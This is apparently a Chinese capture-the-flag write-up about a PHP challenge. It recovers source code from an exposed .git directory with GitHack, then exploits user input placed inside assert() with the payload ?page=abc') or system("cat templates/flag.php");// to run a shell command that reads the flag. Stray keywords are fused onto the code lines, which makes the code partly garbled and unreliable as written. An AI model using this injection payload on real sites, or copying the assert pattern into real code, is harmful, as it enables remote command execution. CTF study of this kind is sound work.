1.查看页面,发现网站使用的一些东西php
2.存在.git目录git
3.使用 GitHack获取源码函数
4.index.php中关键代码以下网站
<?phpthis
if (isset($_GET['page'])) {spa
$page = $_GET['page'];} else {3d
$page = "home";}blog
$file = "templates/" . $page . ".php";字符串
// I heard '..' is dangerous!assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");源码
若是这个字符串中没有找到相应的子字符串 就返回false//
TODO: Make this look niceassert("file_exists('$file')") or die("That file doesn't exist!");
?>
其中:
assert() 检查一个断言是否为 FALSE
strpos() 函数查找字符串在另外一字符串中第一次出现的位置。若是没有找到则返回False
file_exists() 函数检查文件或目录是否存在。
assert()函数会将括号中的字符当成代码来执行,并返回true或false。
5.构造payload
?page=abc') or system("cat templates/flag.php");//